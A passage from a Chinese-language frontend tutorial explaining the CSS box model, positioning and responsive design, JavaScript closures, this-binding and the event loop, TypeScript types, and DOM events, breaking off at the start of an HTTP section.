
1
content(内容)——盒子里面装的东西。文字、图片都在这一层。用 width 和 height 控制大小。
2
padding(内边距)——内容和边框之间的空白。像盒子内部的泡沫填充物。padding: 20px。
3
border(边框)——盒子的边界线。border: 1px solid #ccc。
4
margin(外边距)——盒子和外部其他元素之间的距离。像两个家具之间的空隙。margin: 16px。
/* 标准盒模型 vs IE 盒模型 */
/* 标准盒模型(默认):width = content 宽度 */
/* IE 盒模型:width = content + padding + border */

.box {
  width: 200px;
  padding: 20px;
  border: 2px solid #333;
  /* 标准盒模型:实际宽度 = 200 + 20*2 + 2*2 = 244px */
  /* IE 盒模型:实际宽度 = 200px(content 自动缩小) */
}

/* 推荐:全局使用 IE 盒模型,计算更直观 */
*, *::before, *::after {
  box-sizing: border-box;
}
box-sizing: border-box 是必选项

几乎所有的现代 CSS 重置方案都会加上 box-sizing: border-box。它让 width 包含 padding 和 border,计算宽度更直观。设置 width: 200px 就是 200px,不用担心 padding 和 border 把盒子撑大。

CSS 优先级(层叠)

当多条 CSS 规则作用于同一个元素时,浏览器按优先级决定用哪条:

1
!important——最高优先级。但尽量不要用,会让样式难以维护。
2
内联样式——<div style="color: red">,优先级 1000。
3
ID 选择器——#header,优先级 100。
4
类 / 伪类 / 属性选择器——.nav、:hover,优先级 10。
5
标签 / 伪元素选择器——div、::before,优先级 1。

CSS 变量(自定义属性)

:root {
  --primary: #2563eb;
  --primary-light: #60a5fa;
  --text: #1a1d21;
  --radius: 8px;
}

.button {
  background: var(--primary);
  color: white;
  border-radius: var(--radius);
}

.button:hover {
  background: var(--primary-light);
}

/* 深色模式只需覆盖变量 */
.dark-mode {
  --primary: #60a5fa;
  --text: #e4e6eb;
}
CSS 变量 vs 预处理器变量

CSS 变量(--xxx)是浏览器原生支持的,可以在运行时修改(比如切换主题)。Sass/Less 的变量($xxx)是编译时替换的,运行时不能改。2026 年推荐优先用 CSS 变量。

display 显示类型

display 属性决定元素如何在页面中渲染,是最基础的 CSS 属性之一:

/* 块级元素:独占一行,宽度默认填满父容器 */
div, p, h1-h6, section, article, header, footer { display: block; }

/* 行内元素:在同一行内排列,不能设置宽高 */
span, a, strong, em { display: inline; }

/* 行内块:在同一行内排列,但可以设置宽高 */
/* 常用于按钮、导航项等需要并排又有固定尺寸的元素 */
.inline-block-btn {
  display: inline-block;
  width: 120px;
  height: 40px;
  text-align: center;
  line-height: 40px;
}

/* 隐藏元素 */
.hidden { display: none; }        /* 完全移除,不占空间 */
.invisible { visibility: hidden; } /* 隐藏但保留空间 */

/* Flex 和 Grid 布局(第 28 章详解) */
.flex-container { display: flex; }
.grid-container { display: grid; }
display: none vs visibility: hidden

display: none 完全移除元素,不占据任何空间(就像元素不存在)。visibility: hidden 只是看不见,但元素仍然占据原来的空间。前者用于彻底隐藏,后者用于"占位隐藏"。

position 定位体系

position 控制元素在页面中的定位方式。理解定位是构建真实布局的关键:

/* static(默认):正常文档流,top/left/right/bottom 无效 */
.normal { position: static; }

/* relative:相对自身原来的位置偏移,仍占据原空间 */
/* 常用于作为 absolute 子元素的定位参照(定位上下文) */
.parent {
  position: relative;  /* ← 作为定位上下文 */
}
.shifted {
  position: relative;
  top: 10px;     /* 向下偏移 10px */
  left: 20px;    /* 向右偏移 20px */
  /* 原来的位置仍然被占据 */
}

/* absolute:脱离文档流,相对最近的定位祖先定位 */
/* 如果没有定位祖先,则相对  定位 */
.badge {
  position: absolute;
  top: -8px;
  right: -8px;
  /* 配合父元素 position: relative 使用 */
}

/* fixed:脱离文档流,相对视口定位,滚动时不移动 */
.modal-overlay {
  position: fixed;
  inset: 0;              /* 等同于 top:0; right:0; bottom:0; left:0 */
  background: rgba(0,0,0,0.5);
  z-index: 1000;
}

/* sticky:混合定位,滚动到阈值前是 relative,到达后变为 fixed */
/* 常用于导航栏"吸顶"效果 */
.sticky-nav {
  position: sticky;
  top: 0;          /* 滚动到距顶部 0px 时"粘住" */
  background: white;
  z-index: 100;
}
定位上下文是关键

position: absolute 的元素会"向上寻找"最近的定位祖先(position 不是 static 的祖先元素)。如果找不到,就相对整个页面定位。所以使用 absolute 时,通常需要给父元素设置 position: relative。

z-index 与层叠上下文

当多个定位元素重叠时,z-index 控制谁在上面:

/* z-index 只对定位元素有效(position 不是 static) */
.layer-1 { position: relative; z-index: 1; }  /* 底层 */
.layer-2 { position: relative; z-index: 2; }  /* 中层 */
.layer-3 { position: relative; z-index: 10; } /* 顶层(不一定要连续) */

/* ⚠️ 层叠上下文(Stacking Context)陷阱 */
/* 每个定位元素 + z-index 会创建一个新的层叠上下文 */
/* 子元素的 z-index 只在父元素的上下文内比较 */
.parent-a { position: relative; z-index: 1; }
.parent-a .child { z-index: 9999; }  /* 看起来很大,但出不了父元素的上下文 */
.parent-b { position: relative; z-index: 2; }
/* parent-b 会覆盖 parent-a 的所有子元素,无论子元素 z-index 多大 */

/* 常见坑:弹窗被其他元素遮挡 */
/* 原因:弹窗的父元素创建了层叠上下文,且 z-index 较低 */
/* 解决:把弹窗放在 DOM 层级的顶层,或用 Portal(React)/Teleport(Vue) */
z-index: 9999 不是万能的

很多初学者遇到元素被遮挡就疯狂加大 z-index,但这往往解决不了问题。关键是理解层叠上下文——子元素的 z-index 只在同一层叠上下文内比较。如果父元素的 z-index 较低,子元素设 99999 也没用。

overflow 溢出处理

当内容超出元素的固定尺寸时,overflow 控制如何处理:

.box {
  width: 300px;
  height: 200px;
}

/* visible(默认):内容溢出仍然可见 */
.overflow-visible { overflow: visible; }

/* hidden:裁剪溢出内容,不可见也不可滚动 */
.overflow-hidden { overflow: hidden; }

/* scroll:始终显示滚动条(即使内容没有溢出) */
.overflow-scroll { overflow: scroll; }

/* auto:内容溢出时才显示滚动条(推荐) */
.overflow-auto { overflow: auto; }

/* 分别控制水平和垂直方向 */
.scroll-y {
  overflow-x: hidden;   /* 水平方向裁剪 */
  overflow-y: auto;     /* 垂直方向自动滚动 */
}

/* 文本溢出省略号(单行) */
.ellipsis {
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
  max-width: 200px;
}

响应式设计基础

响应式设计让页面在不同屏幕尺寸(手机、平板、电脑)上都能良好显示:

/* 1. 在 HTML 中设置 viewport meta(第 3 章已有) */
/* <meta name="viewport" content="width=device-width, initial-scale=1.0"> */

/* 2. 媒体查询(Media Query)—— 根据屏幕宽度应用不同样式 */
/* 移动优先(Mobile First):先写移动端样式,再用 min-width 加大屏样式 */
.container {
  padding: 16px;           /* 手机:小内边距 */
}

@media (min-width: 768px) {
  .container {
    padding: 24px;         /* 平板:中内边距 */
    max-width: 720px;
    margin: 0 auto;
  }
}

@media (min-width: 1024px) {
  .container {
    padding: 32px;         /* 电脑:大内边距 */
    max-width: 960px;
  }
}

/* 3. 常用断点(Breakpoints) */
/* 手机:< 640px */
/* 平板:640px - 1024px */
/* 电脑:1024px - 1280px */
/* 大屏:> 1280px */

/* 4. 视口单位 */
.full-width { width: 100vw; }       /* 视口宽度的 100% */
.full-height { height: 100vh; }     /* 视口高度的 100% */
.half-width { width: 50vw; }        /* 视口宽度的 50% */

/* 5. 相对单位(推荐在响应式中使用) */
.text { font-size: 1rem; }          /* 相对于根元素字体大小 */
.box { width: 80%; }                /* 相对于父元素宽度 */
.grid { width: calc(100% - 32px); } /* calc() 混合计算 */
移动优先原则

写 CSS 时先考虑手机屏幕(最小宽度),然后用 @media (min-width: ...) 逐步适配更大的屏幕。这比从大屏往小屏缩更自然、代码更简洁。Tailwind CSS 的断点系统(sm: md: lg:)就是移动优先的。

06. JavaScript 核心语法

JavaScript 是前端开发的"编程语言"——HTML 搭骨架,CSS 穿衣服,JS 控制行为。它让页面从"静态文档"变成"动态应用"。

一个类比

HTML 是房子的结构,CSS 是装修风格,JavaScript 就是房子里的电器和智能系统——灯光自动感应、空调远程控制、门锁指纹识别。没有 JS,房子能住,但很原始。有了 JS,房子变"智能"了。

变量声明:let / const / var

// ❌ var:旧语法,有变量提升问题,不要用
var name = '张三'

// ✅ let:可变变量,值可以重新赋值
let count = 0
count = 1  // OK

// ✅ const:不可变绑定(推荐优先使用)
const PI = 3.14159
// PI = 3  // ❌ 报错!const 不能重新赋值

// 注意:const 对象的属性可以修改
const user = { name: '张三' }
user.name = '李四'  // ✅ OK!修改的是属性,不是绑定本身
// user = {}         // ❌ 报错!不能重新赋值
2026 年的规则

默认用 const,只有需要重新赋值时才用 let。永远不用 var。这个习惯能避免很多 bug。

箭头函数

// 传统函数
function add(a, b) {
  return a + b
}

// 箭头函数(更简洁)
const add = (a, b) => a + b

// 单参数可省略括号
const double = x => x * 2

// 多行需要花括号和 return
const getUser = (id) => {
  const user = fetch(`/api/users/${id}`)
  return user
}

// 回调函数中特别好用
const numbers = [1, 2, 3, 4, 5]
const doubled = numbers.map(n => n * 2)        // [2, 4, 6, 8, 10]
const evens = numbers.filter(n => n % 2 === 0) // [2, 4]
const sum = numbers.reduce((acc, n) => acc + n, 0) // 15

解构赋值

// 对象解构
const user = { name: '张三', age: 25, city: '北京' }
const { name, age } = user          // name='张三', age=25
const { name: userName } = user     // 重命名:userName='张三'
const { role = 'user' } = user      // 默认值:role='user'

// 数组解构
const [first, second] = [10, 20, 30]  // first=10, second=20
const [a, , b] = [10, 20, 30]         // a=10, b=30(跳过第二个)

// 函数参数解构
const greet = ({ name, age }) => {
  console.log(`你好,${name},你${age}岁了`)
}
greet({ name: '张三', age: 25 })

// 剩余参数
const { city, ...rest } = user   // city='北京', rest={name:'张三', age:25}
const [head, ...tail] = [1,2,3]  // head=1, tail=[2,3]

模板字符串

// 旧写法(拼接麻烦)
const msg = '你好,' + name + ',你今年' + age + '岁'

// ✅ 模板字符串(反引号 + ${})
const msg = `你好,${name},你今年${age}岁`

// 支持多行(不需要 \n)
const html = `
  <div class="card">
    <h2>${name}</h2>
    <p>${description}</p>
  </div>
`

// 支持表达式
const price = 100
const msg =`总价:${price * 0.8} 元(八折)`

展开运算符

// 数组展开
const arr1 = [1, 2, 3]
const arr2 = [4, 5, 6]
const merged = [...arr1, ...arr2]  // [1, 2, 3, 4, 5, 6]

// 对象展开
const defaults = { theme: 'light', lang: 'zh' }
const userPrefs = { theme: 'dark' }
const config = { ...defaults, ...userPrefs }  // { theme: 'dark', lang: 'zh' }

// 函数调用展开
const numbers = [3, 1, 4, 1, 5]
const max = Math.max(...numbers)  // 5

async/await 异步编程

// Promise 是异步操作的"占位符"
// async/await 是 Promise 的语法糖,让异步代码看起来像同步代码

// ❌ 回调地狱(难以阅读)
fetchUser(id, (user) => {
  fetchPosts(user.id, (posts) => {
    fetchComments(posts[0].id, (comments) => {
      console.log(comments)
    })
  })
})

// ✅ async/await(清晰明了)
const loadContent = async () => {
  try {
    const user = await fetchUser(id)
    const posts = await fetchPosts(user.id)
    const comments = await fetchComments(posts[0].id)
    console.log(comments)
  } catch (error) {
    console.error('加载失败:', error)
  }
}

// 并行请求(更快)
const [user, posts] = await Promise.all([
  fetchUser(id),
  fetchPosts(id)
])
常见错误:忘记 await

如果忘记 await,变量会被赋值为一个 Promise 对象,而不是真正的数据。const user = fetchUser(id) 得到的是 Promise,不是 user 对象。记住:调用 async 函数必须加 await。

可选链与空值合并

// 可选链 ?.(安全地访问深层属性)
const city = user?.address?.city     // 如果 address 不存在,返回 undefined
const name = user?.getName?.()       // 安全地调用可能不存在的方法

// 空值合并 ??(只在 null/undefined 时使用默认值)
const port = config.port ?? 3000     // port 为 null/undefined 时用 3000
const name = input || '默认名'       // port 为 0/''/false 时也会用默认值(可能不是你想要的)
const name = input ?? '默认名'       // 只在 null/undefined 时用默认值(更精确)

作用域与闭包

作用域决定变量在哪里可以被访问。闭包是 JavaScript 最强大也最容易混淆的概念。

// === 作用域(Scope)===
// 变量的可访问范围由它被声明的位置决定

// 全局作用域:任何地方都能访问
const globalVar = '我是全局的'

// 函数作用域:只在函数内部可访问
function test() {
  const localVar = '我是局部的'
  console.log(localVar)   // ✅ OK
}
// console.log(localVar)   // ❌ 报错!外部访问不到

// 块级作用域(let/const):只在 {} 内可访问
if (true) {
  const blockVar = '我是块级的'
  let blockLet = '我也是块级的'
}
// console.log(blockVar)   // ❌ 报错!

// === 词法作用域(Lexical Scope)===
// 函数在定义时就确定了作用域链,不是在调用时
const x = 10
function outer() {
  const y = 20
  function inner() {
    console.log(x + y)  // inner 能访问 outer 的 y 和全局的 x
  }
  inner()
}

// === 闭包(Closure)===
// 闭包 = 函数 + 它能访问的外部作用域变量
// 当一个函数引用了外部的变量,且这个函数被传递到外部使用时,就形成了闭包

function createCounter() {
  let count = 0  // 这个变量被"关"在闭包里
  return {
    increment: () => ++count,
    decrement: () => --count,
    getCount: () => count
  }
}

const counter = createCounter()
counter.increment()
counter.increment()
console.log(counter.getCount())  // 2
// count 变量外部无法直接访问,只能通过暴露的方法操作
// 这就是"私有变量"的实现方式

// 闭包的实际应用:防抖函数
function debounce(fn, delay) {
  let timer = null  // 闭包保存 timer 状态
  return function(...args) {
    clearTimeout(timer)
    timer = setTimeout(() => fn(...args), delay)
  }
}

const debouncedSearch = debounce((query) => {
  fetch(`/api/search?q=${query}`)
}, 300)

// 闭包的实际应用:函数工厂
function createMultiplier(factor) {
  return (number) => number * factor  // factor 被闭包记住
}
const double = createMultiplier(2)
const triple = createMultiplier(3)
console.log(double(5))   // 10
console.log(triple(5))   // 15
闭包陷阱:循环中的闭包

经典的闭包 bug:

// ❌ 经典错误:循环中的闭包
for (var i = 0; i < 3; i++) {
  setTimeout(() => console.log(i), 100)
}
// 输出:3, 3, 3(不是 0, 1, 2)
// 因为 var 没有块级作用域,三个回调共享同一个 i

// ✅ 修复方式 1:用 let(块级作用域)
for (let i = 0; i < 3; i++) {
  setTimeout(() => console.log(i), 100)
}
// 输出:0, 1, 2

// ✅ 修复方式 2:用 IIFE 创建独立作用域
for (var i = 0; i < 3; i++) {
  ((j) => {
    setTimeout(() => console.log(j), 100)
  })(i)
}

this 绑定规则

this 是 JavaScript 中最令人困惑的关键词——它的值取决于函数如何被调用,而不是在哪里定义。

// === 规则 1:默认绑定(独立调用)===
function showThis() {
  console.log(this)
}
showThis()  // 非严格模式:window;严格模式:undefined

// === 规则 2:隐式绑定(方法调用)===
const obj = {
  name: '张三',
  greet() {
    console.log(this.name)  // this = obj
  }
}
obj.greet()  // '张三'

// ⚠️ 隐式绑定丢失
const greet = obj.greet
greet()  // undefined(this 变成了 window/undefined)

// === 规则 3:显式绑定(call/apply/bind)===
function greet(greeting) {
  console.log(`${greeting}, ${this.name}`)
}
const user = { name: '李四' }
greet.call(user, '你好')     // '你好, 李四'(立即调用)
greet.apply(user, ['你好'])  // '你好, 李四'(参数是数组)
const boundGreet = greet.bind(user)  // 返回新函数,永久绑定 this
boundGreet('你好')                    // '你好, 李四'

// === 规则 4:new 绑定 ===
function Person(name) {
  this.name = name  // this = 新创建的对象
}
const p = new Person('王五')
console.log(p.name)  // '王五'

// === 箭头函数:没有自己的 this ===
// 箭头函数继承外层作用域的 this(词法 this)
const team = {
  name: '前端组',
  members: ['张三', '李四'],
  showMembers() {
    this.members.forEach((member) => {
      // 箭头函数的 this 继承自 showMembers 的 this(即 team)
      console.log(`${member} 属于 ${this.name}`)
    })
  }
}
team.showMembers()
// '张三 属于 前端组'  ✅
// 如果用普通函数,this 会变成 window/undefined
this 绑定优先级

当多条规则同时适用时,优先级为:new 绑定 > 显式绑定(bind) > 隐式绑定(obj.fn) > 默认绑定。箭头函数最特殊——它没有自己的 this,永远继承外层的 this。

原型链(Prototype Chain)

JavaScript 没有传统的"类继承",而是通过原型链实现对象之间的继承关系。

// 每个对象都有一个内部属性 [[Prototype]](即 __proto__)
// 当访问对象的属性时,如果自身没有,就沿着原型链向上查找

const animal = {
  eat() { console.log('eating') }
}

const dog = Object.create(animal)  // dog 的原型指向 animal
dog.bark = function() { console.log('woof!') }

dog.bark()  // 'woof!'  → 自身有,直接使用
dog.eat()   // 'eating'  → 自身没有,沿原型链找到 animal.eat

// 原型链:dog → animal → Object.prototype → null
console.log(dog.__proto__ === animal)            // true
console.log(animal.__proto__ === Object.prototype) // true

// === 构造函数 + prototype ===
function Person(name, age) {
  this.name = name
  this.age = age
}
// 方法定义在 prototype 上(所有实例共享,节省内存)
Person.prototype.greet = function() {
  console.log(`我是${this.name},${this.age}岁`)
}

const zhang = new Person('张三', 25)
const li = new Person('李四', 30)
zhang.greet()  // '我是张三,25岁'
li.greet()     // '我是李四,30岁'
// greet 函数只存在一份,两个实例共享

// === ES6 class(语法糖,本质还是原型链)===
class Animal {
  constructor(name) {
    this.name = name
  }
  eat() {
    console.log(`${this.name} is eating`)
  }
}

class Dog extends Animal {
  bark() {
    console.log(`${this.name}: woof!`)
  }
}

const myDog = new Dog('旺财')
myDog.eat()  // '旺财 is eating'(继承自 Animal)
myDog.bark() // '旺财: woof!'

事件循环(Event Loop)

JavaScript 是单线程语言——同一时刻只能做一件事。事件循环让它能"同时"处理多个异步任务。

// === 调用栈(Call Stack)===
// 同步代码按顺序压入调用栈,执行完弹出
function a() { b() }
function b() { console.log('done') }
a()  // 调用栈:[a] → [a, b] → [a] → []

// === 任务队列(Task Queue)===
// 异步操作完成后,回调函数被放入任务队列
// 调用栈清空时,事件循环从队列取出任务执行

console.log('1')           // 同步 → 立即执行
setTimeout(() => {
  console.log('2')         // 异步(宏任务)→ 等同步完再执行
}, 0)
Promise.resolve().then(() => {
  console.log('3')         // 异步(微任务)→ 优先于宏任务
})
console.log('4')           // 同步 → 立即执行

// 输出顺序:1, 4, 3, 2
// 1. 同步代码先执行:打印 1、4
// 2. 微任务队列清空:打印 3
// 3. 宏任务队列清空:打印 2

// === 执行顺序总结 ===
// 1. 所有同步代码(调用栈)
// 2. 所有微任务(Promise.then、queueMicrotask、MutationObserver)
// 3. 一个宏任务(setTimeout、setInterval、I/O、UI 渲染)
// 4. 回到步骤 2

// === 宏任务 vs 微任务 ===
// 宏任务:setTimeout、setInterval、I/O、UI 事件、requestAnimationFrame
// 微任务:Promise.then/catch/finally、queueMicrotask、process.nextTick

// 实际例子
setTimeout(() => console.log('timeout'), 0)
Promise.resolve()
  .then(() => console.log('promise1'))
  .then(() => console.log('promise2'))
console.log('sync')

// 输出:sync → promise1 → promise2 → timeout
// Promise 链上的每个 .then 都是一个微任务,按顺序执行
理解事件循环的意义

理解事件循环能帮你解释很多"反直觉"的行为:为什么 setTimeout(fn, 0) 不是立即执行?为什么 Promise 比 setTimeout 先执行?为什么长任务会阻塞 UI 渲染?这些问题的答案都在事件循环中。后续学习 React 的并发模式、性能优化时,事件循环的知识会反复用到。

07. TypeScript 入门

TypeScript 是 JavaScript 的"超集"——在 JS 的基础上加了类型系统。它不会改变 JS 的运行行为,但能在编写代码时帮你发现错误。

一个类比

JavaScript 像是在白纸上写字——想写什么写什么,自由但容易出错。TypeScript 像是用带格子的纸写字——每个字都有固定的位置,写错了立刻能发现。格子(类型)限制了你的自由,但也让你写得更整齐、更不容易出错。

为什么要用 TypeScript

问题JavaScriptTypeScript
函数参数类型传错类型,运行时才报错编写时就提示错误
对象属性名拼写错误,运行时才发现自动补全 + 拼写检查
重构改一个地方,不知道影响哪里类型系统告诉你所有影响
协作看代码不知道参数是什么类型就是最好的文档

基本类型

// 基本类型注解
let name: string = '张三'
let age: number = 25
let isStudent: boolean = false
let nothing: null = null
let notDefined: undefined = undefined

// 数组
let numbers: number[] = [1, 2, 3]
let names: Array<string> = ['张三', '李四']

// 元组(固定长度和类型的数组)
let pair: [string, number] = ['张三', 25]

// 联合类型(可以是多种类型之一)
let id: string | number = '001'
id = 1  // 也 OK

// 字面量类型(只能是特定值)
type Direction = 'up' | 'down' | 'left' | 'right'
let dir: Direction = 'up'
// dir = 'forward'  // ❌ 报错!

接口与类型别名

// interface:定义对象的"形状"
interface User {
  id: number
  name: string
  email: string
  age?: number          // ? 表示可选
  readonly createdAt: Date  // readonly 表示只读
}

// 使用接口
const user: User = {
  id: 1,
  name: '张三',
  email: 'zhangsan@example.com',
  createdAt: new Date()
}

// type:类型别名(更灵活)
type ID = string | number
type Status = 'active' | 'inactive' | 'banned'

type UserWithType = {
  id: ID
  name: string
  status: Status
}

// interface vs type:
// interface 可以 extends(继承)和被 class implements
// type 可以定义联合类型、元组、映射类型
// 2026 年推荐:定义对象用 interface,其他用 type

泛型

// 泛型:让函数/类型"参数化",适用于多种类型
// 就像一个"类型的变量"

// 没有泛型:需要为每种类型写一个函数
function getFirstNumber(arr: number[]): number { return arr[0] }
function getFirstString(arr: string[]): string { return arr[0] }

// 有泛型:一个函数适用所有类型
function getFirst<T>(arr: T[]): T {
  return arr[0]
}

getFirst<number>([1, 2, 3])     // 返回 number
getFirst<string>(['a', 'b'])    // 返回 string
getFirst([true, false])          // 自动推断为 boolean

// 泛型接口
interface ApiResponse<T> {
  code: number
  message: string
  data: T
}

// 使用
const userRes: ApiResponse<User> = await fetch('/api/user')
const listRes: ApiResponse<User[]> = await fetch('/api/users')
TypeScript 的哲学

TypeScript 的类型只在编译时存在,运行时完全是普通 JavaScript。也就是说:TypeScript 不会影响运行性能。它的作用是让你在写代码时就发现错误,而不是等到用户点了按钮才报错。2026 年,几乎所有专业的前端项目都用 TypeScript。

常用工具类型

// Partial:所有属性变可选
type PartialUser = Partial<User>
// { id?: number; name?: string; email?: string; ... }

// Required:所有属性变必填
type RequiredUser = Required<User>

// Pick:选取部分属性
type UserBasic = Pick<User, 'id' | 'name'>
// { id: number; name: string }

// Omit:排除部分属性
type UserWithoutEmail = Omit<User, 'email'>
// { id: number; name: string; age?: number; ... }

// Record:构造键值对类型
type UserMap = Record<string, User>
// { [key: string]: User }

// ReturnType:获取函数返回值类型
type UserFn = () => User
type UserResult = ReturnType<UserFn>  // User

unknown vs any

// ❌ any:关闭类型检查(危险)
let data: any = 'hello'
data.foo.bar.baz  // 不报错,运行时炸了

// ✅ unknown:类型安全的"任意类型"
let input: unknown = 'hello'
// input.foo       // ❌ 报错!
if (typeof input === 'string') {
  console.log(input.toUpperCase())  // ✅ 安全
}

类型收窄与可辨识联合

// 类型收窄:根据条件自动缩窄类型
function process(value: string | number) {
  if (typeof value === 'string') {
    console.log(value.toUpperCase())  // TS 知道是 string
  } else {
    console.log(value.toFixed(2))     // TS 知道是 number
  }
}

// 可辨识联合(Discriminated Union)
interface Circle { kind: 'circle'; radius: number }
interface Square { kind: 'square'; side: number }
type Shape = Circle | Square

function area(shape: Shape): number {
  switch (shape.kind) {
    case 'circle': return Math.PI * shape.radius ** 2
    case 'square': return shape.side ** 2
  }
}

// 自定义类型守卫
function isString(value: unknown): value is string {
  return typeof value === 'string'
}

as const 与声明文件

// as const:把值变成字面量类型
const dir = 'up' as const  // type: 'up'(不是 string)

// 声明文件(.d.ts):为没有类型的库提供类型
declare module '*.css' {
  const classes: Record<string, string>
  export default classes
}
declare module '*.svg' {
  const src: string
  export default src
}

08. DOM 与事件机制

DOM(Document Object Model)是浏览器把 HTML 代码转换成的一个"JavaScript 可以操作的对象树"。通过 DOM,你可以用 JS 动态地添加、删除、修改页面上的任何元素。

一个类比

HTML 代码是建筑图纸,DOM 是建好的房子。图纸上写"这里有一扇窗户",建好后窗户变成了一个真实的物体——你可以打开它、关它、刷漆、甚至拆掉它。DOM 就是浏览器按照 HTML 图纸"建好"的对象,JS 可以对它做任何操作。

选择元素

// 推荐:querySelector 和 querySelectorAll(CSS 选择器语法)
const btn = document.querySelector('.btn')           // 第一个匹配的元素
const allBtns = document.querySelectorAll('.btn')    // 所有匹配的元素(NodeList)
const header = document.querySelector('#header')     // 通过 ID
const firstLi = document.querySelector('ul li:first-child')

// 旧 API(了解即可)
document.getElementById('header')
document.getElementsByClassName('btn')
document.getElementsByTagName('div')

修改元素

const el = document.querySelector('.card')

// 修改内容
el.textContent = '新文本'              // 纯文本(安全,不会执行 HTML)
el.innerHTML = '<strong>加粗</strong>'  // HTML 内容(危险!可能有 XSS 攻击)

// 修改属性
el.setAttribute('class', 'card active')
el.getAttribute('class')                // 'card active'
el.removeAttribute('disabled')

// 修改样式
el.style.color = 'red'                  // 行内样式(不推荐)
el.style.backgroundColor = '#f0f0f0'

// 修改 class(推荐方式)
el.classList.add('active')              // 添加类
el.classList.remove('disabled')         // 删除类
el.classList.toggle('open')             // 切换类
el.classList.contains('active')         // 是否包含类

创建和删除元素

// 创建元素
const div = document.createElement('div')
div.className = 'card'
div.textContent = '我是新创建的卡片'

// 插入到页面
document.body.appendChild(div)                    // 追加到末尾
parent.insertBefore(div, referenceElement)        // 插入到指定位置
referenceElement.after(div)                       // 插入到某元素后面
referenceElement.before(div)                      // 插入到某元素前面

// 删除元素
div.remove()                                      // 删除自己
parent.removeChild(div)                           // 从父元素中删除

// 克隆元素
const clone = div.cloneNode(true)                 // true = 深克隆(包含子元素)

事件监听

const btn = document.querySelector('.btn')

// 添加事件监听
btn.addEventListener('click', (event) => {
  console.log('按钮被点击了!')
  console.log('点击位置:', event.clientX, event.clientY)
  console.log('目标元素:', event.target)
})

// 常见事件类型
// 鼠标:click, dblclick, mouseenter, mouseleave, mousemove
// 键盘:keydown, keyup
// 表单:input, change, submit, focus, blur
// 触摸:touchstart, touchmove, touchend
// 拖拽:dragstart, drag, dragend, dragover, drop
// 窗口:scroll, resize, load, DOMContentLoaded

// 移除事件监听
const handler = () => console.log('点击')
btn.addEventListener('click', handler)
btn.removeEventListener('click', handler)  // 必须传同一个函数引用

事件委托

事件委托是前端开发中最重要的性能优化技巧之一:

// ❌ 不好:给每个按钮都加监听器(100 个按钮 = 100 个监听器)
document.querySelectorAll('.item-btn').forEach(btn => {
  btn.addEventListener('click', handleClick)
})

// ✅ 好:事件委托——只在父元素上加一个监听器
document.querySelector('.item-list').addEventListener('click', (e) => {
  // e.target 是真正被点击的元素
  if (e.target.matches('.item-btn')) {
    const id = e.target.dataset.id
    handleClick(id)
  }
})

// 原理:事件会"冒泡"——点击子元素,事件会向上传播到父元素
// 所以在父元素上监听就能捕获所有子元素的事件
事件冒泡与捕获

事件传播分三个阶段:捕获(从 document 向下传播到目标)→ 目标(到达被点击的元素)→ 冒泡(从目标向上传播到 document)。默认在冒泡阶段触发。用 e.stopPropagation() 可以阻止事件继续传播。用 e.preventDefault() 可以阻止默认行为(如表单提交、链接跳转)。

自定义事件(CustomEvent / dispatchEvent)

除了浏览器原生事件,你也可以创建和派发自定义事件,用于组件间通信:

// 创建自定义事件
const event = new CustomEvent('userLogin', {
  detail: { userId: 123, name: '张三' },  // 携带的数据
  bubbles: true,      // 允许冒泡
  composed: true      // 允许穿越 Shadow DOM
})

// 监听自定义事件
document.addEventListener('userLogin', (e) => {
  console.log('用户登录了:', e.detail.name)
})

// 派发事件
document.dispatchEvent(event)

// 实际应用:组件间松耦合通信
class ToastManager {
  static show(message, type = 'info') {
    window.dispatchEvent(new CustomEvent('toast', {
      detail: { message, type }
    }))
  }
}

// 任意组件监听
window.addEventListener('toast', (e) => {
  const { message, type } = e.detail
  renderToast(message, type)
})

// 触发
ToastManager.show('保存成功!', 'success')

passive 事件监听器(滚动性能优化)

在触摸和滚轮事件中使用 passive: true,告诉浏览器监听器不会调用 preventDefault(),从而允许浏览器立即滚动,避免卡顿:

// passive: true —— 告诉浏览器"我不会阻止默认行为"
// 浏览器可以放心地立即滚动,不用等 JS 执行完
document.addEventListener('touchmove', (e) => {
  // 处理触摸移动逻辑(但不能调用 e.preventDefault())
  console.log('触摸移动中...')
}, { passive: true })

// 滚动事件同理
window.addEventListener('scroll', () => {
  // 处理滚动逻辑(如懒加载、吸顶导航)
  updateNavState()
}, { passive: true })

// Chrome 对 document 级别的 touchstart/touchmove 默认启用 passive
// 所以显式设置 { passive: false } 才需要手动关闭
document.addEventListener('touchmove', (e) => {
  e.preventDefault()  // 必须阻止默认行为时
}, { passive: false })
性能提示

Chrome DevTools 的 Performance 面板会警告"被动监听器"问题。在处理 touchstart、touchmove、wheel 等事件时,如果不需要 preventDefault(),务必加上 { passive: true }。这能让滚动更流畅,特别是在移动端。

IntersectionObserver(懒加载图片)

IntersectionObserver 可以高效地监听元素是否进入视口,是实现懒加载的最佳方案:

// 基本用法:监听元素是否进入视口
const observer = new IntersectionObserver((entries) => {
  entries.forEach(entry => {
    if (entry.isIntersecting) {
      console.log('元素进入了视口:', entry.target)
      // entry.intersectionRatio —— 可见比例(0 ~ 1)
    }
  })
}, {
  root: null,        // null = 相对于视口
  rootMargin: '0px', // 提前/延后触发的边距
  threshold: 0.1     // 10% 可见时触发
})

observer.observe(document.querySelector('.target'))

// 实际应用:图片懒加载
function lazyLoadImages() {
  const images = document.querySelectorAll('img[data-src]')

  const imageObserver = new IntersectionObserver((entries) => {
    entries.forEach(entry => {
      if (entry.isIntersecting) {
        const img = entry.target
        img.src = img.dataset.src       // 把 data-src 赋给 src
        img.removeAttribute('data-src')  // 防止重复加载
        imageObserver.unobserve(img)     // 停止观察已加载的图片
      }
    })
  }, { rootMargin: '200px' })  // 提前 200px 开始加载

  images.forEach(img => imageObserver.observe(img))
}

// HTML: <img data-src="real-image.jpg" src="placeholder.jpg">
lazyLoadImages()

09. HTTP 与前后端交互

前端和后端通过 HTTP 协议通信。前端发请求,后端返回数据。这是前后端分离架构的基础。

一个类比

HTTP 就像寄信。你(前端)写一封信(请求),里面有收件人地址(URL)、信的内容(Body)、特殊要求(Header,比如"请用中文回复")。邮局(网络)把信送到收件人(后端服务器)。收件人处理后回一封信(响应),里面有状态("收到了"200 / "找不到"404)和回信内容(JSON 数据)。

HTTP 请求的组成部分

1
URL(地址)——https://api.example.com/users?page=1。协议 + 域名 + 路径 + 查询参数。
2
Method(方法)——GET(获取数据)、POST(创建数据)、PUT/PATCH(更新数据)、DELETE(删除数据)。
3
